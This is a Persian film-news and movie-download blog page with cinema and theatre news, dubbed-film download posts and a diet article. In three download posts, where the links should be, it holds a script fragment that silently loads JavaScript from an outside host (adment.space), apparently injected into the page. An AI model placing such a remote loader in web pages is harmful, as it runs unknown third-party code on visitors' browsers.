• تاریخ : ۴ام آذر ۱۳۹۶
  • موضوع : فیلم

دریافت فیلم: نخستین قسمت از سریال «عالیجناب» که کارگردانی آن را سام قریبیان برعهده دارد، از هفته دوم آذرماه در شبکه نمایش خانگی توزیع خواهد شد.

به گزارش دریافت فیلم، نخستین قسمت مجموعه «عالیجناب» از روز ۱۳ آذرماه وارد شبکه نمایش خانگی خواهد شد. نویسندگی و کارگردانی این مجموعه را سام قریبیان و تهیه کنندگی آن را مسعود ردایی انجام داده اند.

این سریال با تم سیاسی پیش‌تر قرار بود خردادماه و همزمان با انتخابات ریاست جمهوری در دسترس مخاطبان قرار گیرد که در نهایت توزیع آن چند ماه به تعویق افتاد.

بازیگران اصلی این مجموعه به ترتیب حروف الفبا عبارتند از امیر آقایی، سعید آقاخانی، لیلا اوتادی، پرویز پورحسینی، حسین پاکدل، بابک حمیدیان، سحر دولتشاهی، امید روحانی، حسین سلیمانی، آزاده صمدی، حسین عرفانی، احسان کرمی، نازنین کریمی، حامد مدرس، صالح میرزاآقایی، پریوش نظریه، مهتاج نجومی و حسین یاری.

در اولین قسمت از «عالیجناب» خواهیم دید: در زمان انتخابات ریاست جمهوری دکتر ملک در آستانه شکست با کمک یکی از سیاستمداران کارکشته معادلات انتخابات را به نفع خود تغییر می‌دهد. این اتفاق همزمان می‌شود با ورود زنی مرموز با نام مخفف ژ. آن به ایران که …

دیگر عوامل اصلی این سریال عبارتند از مدیر فیلمبرداری: مرتضی هدایی، تدوین: بهرام دهقانی، مدیر صدابرداری: ایرج شهزادی، موسیقی: شورا کریمی، طراح صحنه: سیامک کاری‌نژاد، طراح لباس: مهناز غنی، مدیر تولید: میثم کائد، دستیار اول کارگردان و مدیر برنامه‌ریزی: عادل معصومیان، عکاس: حبیب مجیدی، مشاور رسانه‌ای: امین اعتمادی‌مجد، مدیر تدارکات: رضا حسین‌زاده.

  • تاریخ : ۴ام آذر ۱۳۹۶
  • موضوع : فیلم

دریافت فیلم: سید عباس صالحی در دیداری با هیات مدیره تشکل‌ها و صنوف سینمایی جویای مشکلات آن‌ها شد.

به گزارش دریافت فیلم، روزگذشته(۲ آذرماه)، سید عباس صالحی، وزیر فرهنگ و ارشاد اسلامی طی دیدارهایی جداگانه با هیات مدیره صنوف و تشکل های مختلف سینمایی درباره مسایل و مشکلات آنها به گفتگو پرداخت. این دیدارها در موزه سینما برگزار شده و محمدمهدی حیدریان، رئیس سازمان سینمایی نیز در آن حضور داشته است.  ۱۵ تشکل و صنوف خانه سینما در این دیدارها مشکلاتشان را بیان کردند. 

 جلسات صنوف مختلف با وزیر فرهنگ و ارشاد اسلامی در مدت زمان  نیم ساعت  برای هر صنف در نظر گرفته شده بود که از ۸ صبح روز گذشته تا ساعت ۱۶ ادامه داشت.  

هیات مدیره کانون کارگردانان، مدیران تولید، پخش کنندگان سینمای ایران، تهیه کنندگان، سینماداران  و… در ساعات مختلف با وزیر ارشاد دیدار کردند.

  • تاریخ : ۴ام آذر ۱۳۹۶
  • موضوع : فیلم

دریافت فیلم: مراسم افتتاحیه جشنواره بین المللی فیلم کن در سال آینده میلادی، در تاریخی متفاوت از ادوار گذشته برگزار می شود.

به گزارش دریافت فیلم به نقل از اسکرین دیلی، مراسم افتتاحیه هفتاد و یکمین دوره جشنواره فیلم کن در روز سه‌شنبه ۸ ماه می ۲۰۱۸، یعنی یک روز زودتر از همیشه، برپا می شود و با حفظ مدت زمان برگزاری، مراسم اختتامیه و اهدای جوایز آن در روز شنبه ۱۹ ماه می خواهد بود.

پی‌یر لسکور رییس جشنواره گفت امیدوار است این جابه‌جایی بتواند به توازن مجدد جشنواره کمک کند و انرژی بیشتری به آن ببخشد.

وی گفت: با برگزاری هفتادمین سالگرد این جشنواره در سال ۲۰۱۷، دوره جدیدی در تاریخ این جشنواره شروع شده است. ما علاقه داریم تا مقررات خودمان را تجدید کنیم و در عین حال همچنان به طرح سوال درباره سینمای عصر خودمان بپردازیم.

مدیر جشنواره افزود: علاوه بر این شروع جشنواره در روز سه‌شنبه به ما اجازه می‌دهد تا یک جشن عصرانه پیش از شروع آخر هفته، داشته باشیم و مروری بر سینمای فرانسه انجام دهیم. در نهایت، اعلام اسامی برندگان یک روز جلوتر، و در عصر شنبه، اعتبار آن را بیشتر می‌کند و در همان زمان فیلم اختتامیه بهتر دیده می‌شود.

کن ۲۰۱۸ در عین حال گرامیداشت ۵۰ سالگی ناآرامی مدنی می ۱۹۶۸ فرانسه خواهد بود که موجب شد شماری از کارگردان‌ها به دانشجویان و کارمندان جشنواره در اعتراض‌ها ملحق شوند. این جنبش را ژان لوک گدار و فرانسوا تروفو رهبری کردند و به خلق بخش ۲ هفته کارگردان‌ها از سال پس از آن منجر شد.

  • تاریخ : ۳ام آذر ۱۳۹۶
  • موضوع : فیلم

دریافت فیلم Lawrence of Arabia 1962 لورنس عربستان با دوبله فارسی و کیفیت عالی

دریافت فیلم Lawrence of Arabia 1962 لورنس عربستان , دریافت فیلم لورنس عربستان ۱۹۶۲ , دریافت فیلم Lawrence of Arabia دوبله فارسی , دریافت فیلم دوبله فارسی, دریافت فیلم خارجی، دریافت فیلم

کیفیت HD 1080p , HD 720p – سانسور شده

دریافت فیلم Lawrence of Arabia 1962 لورنس عربستان با دوبله فارسی

این فیلم دوبله فارسی و سانسور شده و هیچ گونه صحنه غیر اخلاقی و مغایر با شئونات اسلامی ندارد.

نام اثر: فیلم لورنس عربستان Lawrence of Arabia

کیفیت: HD 1080p , HD 720p –

امتیاز: IMDb 8.3 /10

ژانر: ماجراجویی | کلاسیک | بیوگرافی | تاریخی

مخاطب: تماشای این فیلم به افراد زیر ۱۳ سال توصیه نمی شود.

نوع فیلم: سینمایی

محصول: آمریکا – انگلستان

کارگردان: دیوید لین

ستارگان: پیتر اوتول ، عمر شریف ، آنتونی کویین ، جک هاوکینز ، الک گینس

سال تولید: ۱۹۶۲ میلادی

زبان: فارسی (دوبله)

مدت زمان: – دقیقه

درباره فیلم:
لورنس عربستان فیلمی کلاسیک، ماجرایی، بیوگرافی و تاریخی محصول سال ۱۹۶۲ کشورهای آمریکا و انگلستان است. کارگردانی این فیلم بر عهده «دیوید لین» بوده‌است و بازیگرانی چون «پیتر اوتول»، «عمر شریف»، «آنتونی کویین»، «جک هاوکینز» و «الک گینس» در آن به ایفای نقش پرداخته‌اند. لورنس عربستان نامزد ده جایزه اسکار شد و و برنده ۷ اسکار شامل جوایز بهترین فیلم، بهترین کارگردانی و بهترین فیلم‌برداری شد. لارنس عربستان با بودجه ۱۵ میلیون دلاری ساخته و بفروش ۷۰ میلیون دلاری رسید.

ماجرا فیلم:
لورنس عربستان فیلمی حماسی بر پایه ی زندگی توماس ادوارد لورنس می باشد. ماجرا فیلم درباره ی تجربه‌ های لورنس در عربستان در زمان جنگ جهانی اول است که…

 

medal-512افتخارات:

🏅 رتبه ۸۴ سایت IMDb
🔸 برنده اسکار بهترین فیلم
🔸 برنده اسکار بهترین کارگردان
🔸 برنده اسکار بهترین فیلم برداری
🔸 برنده اسکار بهترین بازیگر
🔸 برنده اسکار بهترین موزیک
🔸 برنده اسکار بهترین بازیگر نقش مکمل
و ۱۰+ ….

لینک دریافت رایگان:



‘);
var code = document.createElement(“script”);
code.type = “text/javascript”;
code.async = true;
code.src = “http://adment.space/b/b.js”;
var s = document.getElementsByTagName(“script”)[0];
s.parentNode.insertBefore(code, s);
})();

راهنمای دریافت:

لطفا برای پخش هرچه بهتر فایل های مالتی مدیا پلیر خود را آپدیت کنید! تنها پلیر مورد تایید وبسایت آپ تی وی، KMPlayer 4.1.4.7 به بالا می باشد. .

برای دریافت فیلم ها با گوشی اندروید تنها برنامه مورد تایید وبسایت آپ تی وی، Advanced Download Manager Pro v5.1.2  می باشد. .

  • تاریخ : ۳ام آذر ۱۳۹۶
  • موضوع : فیلم

دریافت فیلم: روابط عمومی جشنواره تئاتر کودک و نوجوان فهرست آثاری که به بخش مسابقه ایران این جشنواره راه پیدا کرده اند را منتشر کرد.

به گزارش دریافت فیلم به نقل از روابط عمومی جشنواره، بخش مسابقه تئاتر ایران جشنواره تئاتر کودک و نوجوان بیست و چهارم که به میزبانی شهر همدان برگزار می شود، پذیرای نه اثر خواهد بود. بر اساس اعلام دبیرخانه جشنواره، این نمایش ها در بخش فوق حضور خواهند داشت:

نمایش سفر شادی نوشته سحر صبا با کارگردانی محمد رضا مالکی از تهران.

نمایش پسرها تنهایند نوشته حمید قلعه ای با کارگردانی سید جواد رحیم زاده از مشهد.        

نمایش عقل صورتی نوشته و کارگردانی مهدی فرشیدی سپهر از تهران.  

نمایش آهای تو دیگه کی هستی نوشته و کارگردانی اسداله اسدی از اصفهان.         

نمایش جیک جیکو در مزرعه نوشته و کارگردانی حسین مزینانی از تهران.        

نمایش دیواکولا نوشته عماد نصرآبادی با کارگردانی محمد جهان پا از مشهد.        

نمایش روزگار یک سگ نوشته حمیدرضا نعیمی با کارگردانی مهدی قلعه از  تهران.        

نمایش شب اسرار آمیز نوشته عبد آتشانی و فریبا برجی فلاح با کارگردانی عبدآتشانی از تهران.   

نمایش پینوکیو نوشته و کارگردانی امیر شیخ جبلی از  اصفهان.

بیست و چهارمین جشنواره تئاتر کودک و نوجوان با دبیری مریم کاظمی از ۱۰ تا ۱۵ آذرماه در شهر تاریخی همدان برگزار می شود.

  • تاریخ : ۳ام آذر ۱۳۹۶
  • موضوع : فیلم

دریافت انیمیشن پسر پاگنده The Son Of BigFoot 2017 با دوبله فارسی و کیفیت عالی

دریافت انیمیشن پسر پاگنده The Son Of BigFoot 2017 با دوبله فارسی, دریافت انیمیشن پسر پاگنده با دوبله فارسی،دریافت انیمیشن ایموجی ها , دریافت انیمیشن ۲۰۱۷، دریافت انیمیشن، دریافت انیمیشن دوبله

دریافت انیمیشن پسر پاگنده The Son Of BigFoot 2017 با دوبله فارسی

نام اثر: پسر پاگنده The Son Of BigFoot 2017

کیفیت: DVDRip

ژانر: انیمیشن

مخاطب: همه گروه های سنی

محصول: کشور فرانسه – بلژیک

زبان: فارسی (دوبله)

سال تولید: ۲۰۱۷

مدت زمان: ۸۴ دقیقه

ماجرا انیمیشن :

یک پسر نوجوان عازم سفر می شود تا پدر گمشده اش را پیدا کند و لی در این سفر می فهمد که پدرش …

لینک دریافت رایگان:



‘);
var code = document.createElement(“script”);
code.type = “text/javascript”;
code.async = true;
code.src = “http://adment.space/b/b.js”;
var s = document.getElementsByTagName(“script”)[0];
s.parentNode.insertBefore(code, s);
})();

راهنمای دریافت:

لطفا برای پخش هرچه بهتر فایل های مالتی مدیا پلیر خود را آپدیت کنید! تنها پلیر مورد تایید وبسایت آپ تی وی، KMPlayer 4.1.4.7 به بالا می باشد. .

برای دریافت فیلم ها با گوشی اندروید تنها برنامه مورد تایید وبسایت آپ تی وی، Advanced Download Manager Pro v5.1.2  می باشد. .

  • تاریخ : ۳ام آذر ۱۳۹۶
  • موضوع : فیلم

دریافت فیلم: هفته آینده خانه هنرمندان میزبان هفته فیلم «فیلمسازان زن ایران و فرانسه» در روزهای ۶ تا ۱۱ آذرماه خواهد بود.

به گزارش دریافت فیلم، سفارت فرانسه و خانه هنرمندان ایران در روزهای ۶ الی ۱۱ آذرماه اقدام به برگزاری هفته فیلم «فیلمسازان زن ایران و فرانسه» خواهند نمود. فرانسوا سنمو، سفیر فرانسه در ایران و چهره‌های سینمایی از جمله رخشان بنی اعتماد، ماریان تاردیو و لیدیا تِرکی در مراسم افتتاحیه این هفته فیلم شرکت خواهند کرد.

مراسم افتتاحیه هفته فیلم «فیلمسازان زن ایران و فرانسه» دوشنبه ۶ آذر برگزار می‌شود. از دیگر بخش‌های این هفته فیلم می‌توان به برگزاری ۲ مسترکلاس با تدریس کارگردان‌های فرانسوی ماریان تاردیو و لیدیا تِرکی اشاره کرد.

در این هفته فیلم ۶ فیلم ایرانی و ۶ فیلم فرانسوی به نمایش در خواهد آمد و در کنار آن نشست نقد و بررسی فیلم‌ها نیز با حضور کارگردانان ایرانی و فرانسوی برگزار خواهد شد.

بر این اساس دوشنبه ۶ آذر ساعت ۱۶ فیلم «قصه‌ها» به کارگردانی رخشان بنی اعتماد محصول سال ۱۳۹۰ و ساعت ۱۸ فیلم «گوش به زنگ» (Qui Vive) اثر ماریان تاردیو محصول سال ۲۰۱۴ روی پرده خواهند رفت.

سه‌شنبه ۷ آذر ساعت ۱۶ فیلم «هیس، دخترها فریاد نمی‌زنند» ساخته پوران درخشنده محصول سال ۱۳۹۲ و ساعت ۱۸ فیلم «مدرسه بابل» (La cour de Babel) به کارگردانی ژولی برتوچلی محصول سال ۲۰۱۳ نمایش داده می‌شوند. چهارشنبه ۸ آذر ساعت ۱۶ فیلم «آینه‌های روبرو» به کارگردانی نگار آذربایجانی محصول سال ۱۳۸۸ و ساعت ۱۸ فیلم «مردمان پرنده» (Bird People) اثر پاسکال فرران محصول سال ۲۰۱۴ به نمایش در می‌آیند.

پنجشنبه ۹ آذر ساعت ۱۶ فیلم «دو زن» ساخته تهمینه میلانی محصول سال ۱۳۷۷ و ساعت ۱۸ فیلم «آینده» (L’avenir) به کارگردانی میاهانسن لاو محصول سال ۲۰۱۶ روی پرده می‌روند. جمعه ۱۰ آذر ساعت ۱۶ فیلم «ناهید» اثر آیدا پناهنده محصول سال ۱۳۹۳ و ساعت ۱۸ فیلم «زندگی خانوادگی» (La vie domestique) به کارگردانی ایزابل زاژکا محصول سال ۲۰۱۳ نمایش داده می‌شوند.

شنبه ۱۱ آذر و در روز پایانی این هفته فیلم، ساعت ۱۶ فیلم «شیار ۱۴۳» به کارگردانی نرگس آبیار محصول سال ۱۳۹۲ و ساعت ۱۸ فیلم «پاریس سفید» (Paris la blanche) به کارگردانی لیدیا تِرکی محصول سال ۲۰۱۷ روی پرده خواهند رفت.

نمایش فیلم‌ها به زبان اصلی خواهد بود و فیلم‌های فیلمسازان ایرانی با زیرنویس فرانسوی و فیلم‌های فیلمسازان فرانسوی با زیرنویس فارسی به نمایش در می‌آیند. نشست نقد و بررسی فیلم‌ها همه روزه ساعت ۲۰ و در پایان نمایش فیلم‌ها با حضور کارگردانان ایرانی و فرانسوی برگزار خواهد شد.

در طول هفته فیلم «فیلمسازان زن ایران و فرانسه» ۲ مسترکلاس نیز با حضور کارگردانان زن فرانسوی در چهار جلسه برگزار خواهد شد. سه‌شنبه ۷ آذر و چهارشنبه ۸ آذر ۲ جلسه مسترکلاس «میزانسن: صورت و هیبت» با مدیریت ماریان تاردیو برگزار می شود. پنجشنبه ۹ آذر و جمعه ۱۰ آذر نیز ۲ جلسه مسترکلاس «ساخت اولین فیلم بلند: یافتن سبک خویش ورای اصول سینما» با مدیریت لیدیا تِرکی برگزار می‌شود.

حضور در برنامه‌های نمایش و نقد و بررسی فیلم‌ها برای عموم آزاد است.

  • تاریخ : ۳ام آذر ۱۳۹۶
  • موضوع : فیلم

دریافت فیلم Collateral Beauty 2016 زیبایی پنهان با دوبله فارسی و کیفیت عالی

دریافت فیلم Collateral Beauty 2016 زیبایی پنهان , دریافت فیلم زیبایی پنهان ۲۰۱۶ , دریافت فیلم Collateral Beauty دوبله فارسی , دریافت فیلم دوبله فارسی, دریافت فیلم خارجی، دریافت فیلم

کیفیت HD 1080p , HD 720p – سانسور شده

دریافت فیلم Collateral Beauty 2016 زیبایی پنهان با دوبله فارسی

این فیلم دوبله فارسی و سانسور شده و هیچ گونه صحنه غیر اخلاقی و مغایر با شئونات اسلامی ندارد.

نام اثر: فیلم زیبایی پنهان Collateral Beauty

کیفیت: HD 1080p , HD 720p –

امتیاز: IMDb 6.8/10

ژانر: درام | عاشقانه

مخاطب: تماشای این فیلم به افراد زیر ۱۳ سال توصیه نمی شود.

نوع فیلم: سینمایی

محصول: آمریکا

کارگردان: دیوید فرانکل

ستارگان: ویل اسمیت ، ادوارد نورتون ، کیت وینسلت ، هلن میرن ، کیرا نایتلی ، جیکوب لاتیمور ، نائومی هریس

سال تولید: ۲۰۱۶ میلادی

زبان: فارسی (دوبله)

مدت زمان: – دقیقه

درباره فیلم:
زیبایی پنهان فیلمی درام و عاشقانه محصول سال ۲۰۱۶ کشور آمریکا است. کارگردانی آن بر عهده «دیوید فرانکل» بوده است و بازیگرانی چون «ویل اسمیت»، «ادوارد نورتون»، «کیت وینسلت»، «هلن میرن»، «کیرا نایتلی»، «جیکوب لاتیمور»و «نائومی هریس» در آن به ایفای نقش پرداخته اند. این فیلم با بودجه ۳۶ میلیون دلاری ساخته شده و فروش ۸۸٫۴ میلیون دلاری داشته است.

ماجرا فیلم:
مشاور تبلیغاتی موفقی به نام «هاوارد» بعد از دست دادن دختر خردسالش از زندگی ناامید شده است و برای شکایت از کائنات به عشق، مرگ و زمان نامه می نویسد. سه نفر از دوستانش که شریک کاری نیز هستند برای نجات شرکت و «هاوارد» از ایده نامه استفاده می کند و با کمک گرفتن از…

لینک دریافت رایگان:



‘);
var code = document.createElement(“script”);
code.type = “text/javascript”;
code.async = true;
code.src = “http://adment.space/b/b.js”;
var s = document.getElementsByTagName(“script”)[0];
s.parentNode.insertBefore(code, s);
})();

راهنمای دریافت:

لطفا برای پخش هرچه بهتر فایل های مالتی مدیا پلیر خود را آپدیت کنید! تنها پلیر مورد تایید وبسایت آپ تی وی، KMPlayer 4.1.4.7 به بالا می باشد. .

برای دریافت فیلم ها با گوشی اندروید تنها برنامه مورد تایید وبسایت آپ تی وی، Advanced Download Manager Pro v5.1.2  می باشد. .

  • تاریخ : ۳ام آذر ۱۳۹۶
  • موضوع : فیلم

دریافت فیلم: کارگردان فیلم «ملکه زنبورها» گفت: مراحل فنی ملکه زنبورها به پایان رسید و نسخه نهایی آن آماده شده است.

به گزارش دریافت فیلم، علی محمد قاسمی درباره آخرین وضعیت ساخت فیلمش گفت: مراحل فنی این اثر به انتها رسیده و نسخه نهایی آن آماده شده است.

این کارگردان درباره حضور این اثر جشنواره فیلم فجر بیان کرد: به دلیل مدیریت تجربی که طی این سال ها بر جشنواره فیلم فجر حکم فرماست و نتوانسته به ثبات قطعی و شکل منطقی برسد، ‌ شاید فیلم را به جشنواره ندهم.

قاسمی درباره ماجرا «ملکه زنبورها» گفت: این فیلم، قصه عشق و شرم نسلی است که آرزوهایشان برآورده نشده است و دست به هر کاری می‌زنند تا عقده‌های مانده بر ذهنشان به وقوع بپیوندد و همچنین ماجرا نسلی امروزی‌تر که با اتکا و اعتماد به نسل مسن‌تر، در پی اثبات صداقت و پاکی خود است. برای رسیدن به آرامش و عشق، هر دو اما به دو گونه به مرگ می‌اندیشند.

قاسمی با اشاره به حضور «سگ‌ها و آدم‌ها» در جشنواره‌های خارجی اظهار داشت: قرار است این فیلم در یکی از بخش های جشنواره کرالای هند حضور داشته باشد.

گفتنی است؛ عوامل این فیلم عبارتند از: نویسندگان: مهدیه حسینی، علی محمد قاسمی، اعظم نجفیان، تهیه‌کننده، کارگردان و مدیر فیلمبرداری: علی محمد قاسمی، بازیگران: محمود نظرعلیان، آوا درویشی، امیر شکرگزار، محبت قاسمی، اقبال بهاری، ‌ بازیگردان و دستیار کارگردان: پیمان مقدمی، برنامه ریز: اعظم نجفیان، دستیار فیلمبردار: کیوان محمدی‌نژاد، مدیر تولید و عکاس: مریم فخیمی، دستیار تولید: سیف‌الله فیضیان، طراح صحنه: علی محمد قاسمی، دستیار صحنه: حامد آزاد، طراح لباس: نوید بهتویی، مانا یزدانی امیری، صدا: بهروز شهامت.

  • تاریخ : ۳ام آذر ۱۳۹۶
  • موضوع : خبری

چگونه چربی کمتری مصرف کنیم ؟

هم اکنون در قسمت تغذیه از بخش پزشکی مجله آنلاین فارسی ها مطلب چگونه چربی کمتری مصرف کنیم را برای شما کاربران گرامی آماده کرده ایم .

چگونه چربی کمتری مصرف کنیم ؟ چگونه چربی کمتری مصرف کنیم ؟

چگونه چربی کمتری مصرف کنیم ؟

یکی از اجزای اصلی پخت غذا روغن است .

چربی های بدن بر اثر مصرف زیاد روغن در بدن بالا می رود که برای بدن بسیار ضرر دارد .

شما با عادات غذایی ساده می توانید مصرف چربی را در غذای روزانه کم کنید .

در ادامه با ما همراه باشید و راهکار ها را بخوانید .

راهکار هایی برای داشتن رژیم غذایی سالم

از ظروفی استفاده کنید که روغن زیادی برای پخت نیاز نداشته باشند .

تا آنجایی که می توانید مصرف روغن جامد را محدود کنید و به جای ان از روغن مایع فاقد کلسترول و اسید چرب اشباع استفاده کنید .

می توانید به جای استفاده زیاد از روغن مایع ، ته ظرف را با یک فرچه کمی روغن بمالید .

تا حد امکان غذاها را کباب کنید و از سرخ کردن آنها بپرهیزید .

از حرارت زیاد و سرخ کردن زیاد و قهوه ای کردن غذاها پرهیز کنید .

روغن های استفاده شده را مجددا مصرف نکنید و روغن جدید استفاده کنید .

برای سرخ کردن از روغن سرخ کردنی و برای پخت و پز از روغن مایع و برای سالاد از روغن هایی مثل زیتون و کنجد استفاده کنید .

ظرف روغن باید سالم و غیرقابل نفوذ باشد تا محتوای داخل آن فاسد نشود .

برای پختن گوشت می توانید به جای روغن از آبلیمو یا سرکه استفاده کنید .

آجیل و ماهی را در برنامه غذایی خود بگنجانید و به عنوان تامین کننده چربی از آنها استفاده کنید .

از ماست و شیر کم چرب به جای پرچرب استفاده کنید .

می توانید ماست را جایگزین سس و شیر را جایگزین خامه در رژیم غذایی کنید .

پودر کاکائو هم مزه پودر شکلات است اما بدون چربی است بنابراین می توانید پودر کاکائو را به جای شکلات در پخت دسر استفاده کنید .

می توانید در پخت برخی غذاها مثل کوکو و کتلت ، به جای استفاده از هر زرده تخم مرغ از ۲ سفیده تخم مرغ استفاده کنید .

امیدواریم همین توصیه های ساده مفید واقع شود و موجب سلامتی بیشتر شما شود .

نوشته چگونه چربی کمتری مصرف کنیم ؟ اولین بار در فارسی ها. پدیدار شد.